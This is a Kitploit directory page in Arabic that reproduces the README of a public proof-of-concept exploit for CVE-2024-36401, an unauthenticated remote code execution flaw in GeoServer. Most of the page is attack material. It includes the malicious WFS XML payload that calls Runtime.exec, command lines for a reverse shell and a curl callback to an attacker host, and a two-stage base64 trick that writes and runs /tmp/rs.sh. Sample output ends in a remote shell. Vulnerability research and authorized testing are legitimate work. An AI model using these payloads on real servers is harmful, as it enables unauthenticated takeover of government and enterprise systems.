Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-36401-poc — استغلال RCE غير مصادق عليه في GeoServer (CVE-2024-36401) عبر حقن XPath في مرشحات OGC. يدعم تنفيذ أوامر عبر الشل العكسي (reverse shell) وتنفيذ الأوامر العمياء (blind command execution) مع كشف تلقائي للإصدار واستكشاف أنواع المعالم (feature types). | Kitploit
أدوات/GitHubGitHub/delt-a/cve-2024-36401-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعد
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

استغلال RCE غير مصادق عليه في GeoServer (CVE-2024-36401) عبر حقن XPath في مرشحات OGC. يدعم تنفيذ أوامر عبر الشل العكسي (reverse shell) وتنفيذ الأوامر العمياء (blind command execution) مع كشف تلقائي للإصدار واستكشاف أنواع المعالم (feature types).

عرض المستودع
13منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-36401 — حقن XPath في OGC GeoServer لتنفيذ أوامر عن بُعد

Python CVE CVSS License

استغلال لتنفيذ أوامر عن بُعد بدون مصادقة في GeoServer عبر حقن معامل valueReference الخاص بمرشّحات OGC (تقييم XPath/JXPath).

إخلاء مسؤولية: هذه الأداة مخصصة لاختبار الاختراق والبحث الأمني المصرّح به فقط. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة.


جدول المحتويات

  • نظرة عامة
  • الإصدارات المتأثرة
  • التفاصيل التقنية
  • المتطلبات
  • التثبيت
  • الاستخدام
  • أمثلة
  • كيف يعمل
  • استكشاف الأخطاء وإصلاحها
  • المراجع

نظرة عامة

GeoServer هو خادم Java مفتوح المصدر لمشاركة البيانات الجغرافية المكانية، ويُنشر على نطاق واسع في البيئات الحكومية والمؤسسية والبحثية. تسمح CVE-2024-36401 لـمهاجم بدون مصادقة بتنفيذ أوامر نظام تعسفية على المضيف عن طريق حقن تعبيرات Java في معاملات مرشّحات OGC (اتحاد الجيوماتكس المفتوح).

أُضيفت الثغرة إلى كتالوج CISA للثغرات المستغلة المعروفة (KEV) في يوليو 2024 بسبب استغلالها النشط في البرية.


الإصدارات المتأثرة

الفرعالنطاق المتأثرثُبّتت في
2.23.x< 2.23.62.23.6
2.24.x< 2.24.42.24.4
2.25.x< 2.25.22.25.2

إصدارات GeoServer الأقدم من 2.23.0 من المحتمل أيضًا أن تكون متأثرة، لكنها وصلت إلى نهاية الدورة وغير مختبرة.


التفاصيل التقنية

يستخدم GeoServer مكتبة GeoTools لتقييم تعبيرات مرشّحات OGC. يتم تمرير معامل valueReference (ومعاملات أخرى مثل CQL_FILTER) إلى JXPathContext.selectNodes() من Apache Commons JXPath دون تعقيم.

يدعم JXPath استدعاء أي طرق Java تعسفية من خلال تعبيرات مثل:

exec(java.lang.Runtime.getRuntime(), 'id')

يحدث هذا التقييم قبل التحقق من المصادقة لنقاط نهاية معينة، مما يجعل الثغرة غير مصادق عليها بالكامل.

نقاط النهاية المتأثرة:

  • POST /geoserver/wfs — طلب GetPropertyValue مع valueReference
  • GET /geoserver/ows — نفس المعامل عبر سلسلة الاستعلام

ملاحظة تقنية مهمة: يجب أن يستخدم تعبير valueReference اقتباسات مفردة (') حول سلسلة الأمر. أما الاقتباسات المزدوجة (") فتسبب فشل تحليل XML وتمنع التنفيذ — وهذا خطأ شائع في بعض PoCs العامة.


المتطلبات

  • Python 3.9+
  • مكتبة requests
  • هدف يعمل بنسخة GeoServer ثغرة مع نوع ميزة WFS واحد متاح على الأقل (مساحات العمل الافتراضية للبيانات التجريبية sf وtopp وtiger كافية)

التثبيت

git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests

أو ثبّت التبعيات مباشرة:

pip3 install requests

الاستخدام

usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                  [-c CMD] [-f FEATURE]

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target URL, e.g. http://<TARGET>:8080
  -l, --lhost LHOST     Your IP address for reverse shell callback
  -p, --lport LPORT     Listener port (default: 4444)
  -c, --cmd CMD         Single command to execute (no output returned)
  -f, --feature FEATURE Feature type override (auto-detected if omitted)

الأوضاع

الوضعالعلاماتالوصف
قشرة عكسية-l LHOST -p LPORTقشرة عكسية على مرحلتين عبر bash
تنفيذ أوامر-c CMDتنفيذ أمر واحد (أعمى — بدون مخرجات)
تجاوز نوع الميزة-f FEATUREتخطي الاكتشاف التلقائي واستخدام النوع المحدد

أمثلة

1. القشرة العكسية (موصى بها)

ابدأ مستمعًا أولاً:

nc -lvnp 4444

ثم شغّل الاستغلال:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444

المخرجات المتوقعة:

   _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
 / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
   ___
  <  /
  / /
 / /
/_/

  GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
  Unauthenticated  |  CVSS 9.8  |  Affects < 2.25.2 / 2.24.4 / 2.23.6

[*] Target : http://<TARGET>:8080

[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites

[*] Feature type : sf:archsites
[*] Listener      : <LHOST>:4444
[*] Start         : nc -lvnp 4444

[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener

على المستمع:

Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$

2. تنفيذ الأوامر (الأعمى)

نفّذ أمرًا دون استلام مخرجات. مفيد للتحقق خارج النطاق أو إسقاط الملفات:

# Verify execution via file creation
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "touch /tmp/pwned"

# Trigger a curl callback to confirm execution
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "curl http://<LHOST>:8000/pwned"

ملاحظة: الأوامر التي تحتوي على أحرف غلاف خاصة (>, |, &, ;) يتم ترميزها تلقائيًا بـ base64 لتجنب مشكلات التحليل.


3. تحديد نوع الميزة يدويًا

إذا فشل الاكتشاف التلقائي، وفّر نوع ميزة معروف من الهدف:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444 \
  -f topp:states

أنواع الميزات الشائعة المضمنة في بيانات GeoServer التجريبية:

مساحة العملنوع الميزة
sfsf:archsites, sf:bugsites, sf:roads, sf:streams
topptopp:states, topp:tasmania_cities, topp:tasmania_roads
tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
citecite:Buildings

كيف يعمل

يرسل الاستغلال طلب WFS من نوع GetPropertyValue مع تعبير valueReference خبيث:

<wfs:GetPropertyValue service='WFS' version='2.0.0'
  xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>
    exec(java.lang.Runtime.getRuntime(),'COMMAND')
  </wfs:valueReference>
</wfs:GetPropertyValue>

بالنسبة للقشرة العكسية، يُستخدم نهج من مرحلتين لتجنب مشكلات أحرف الغلاف داخل وسيطة السلسلة المفردة في exec():

المرحلة 1 — كتابة القشرة العكسية إلى /tmp/rs.sh باستخدام ترميز base64 وتوسعة الأقواس في الغلاف (بدون مسافات في سلسلة exec):

bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}

المرحلة 2 — تنفيذ السكربت:

bash /tmp/rs.sh

يتجنب هذا النهج الحاجة إلى مفسّر غلاف في استدعاء exec() الأول، مما يجعله موثوقًا عبر تكوينات الأنظمة المختلفة.


استكشاف الأخطاء وإصلاحها

[-] Cannot connect to target

  • تحقق من صحة عنوان URL والمنفذ للهدف
  • تأكد من أن GeoServer يعمل: curl http://<TARGET>:8080/geoserver/web/

[-] No usable feature type found

  • قد لا تكون بيانات GeoServer التجريبية مثبتة
  • جرّب تحديد نوع ميزة مخصص باستخدام -f <workspace>:<type>
  • اعرض الأنواع المتاحة: curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"
تنزيل الأداة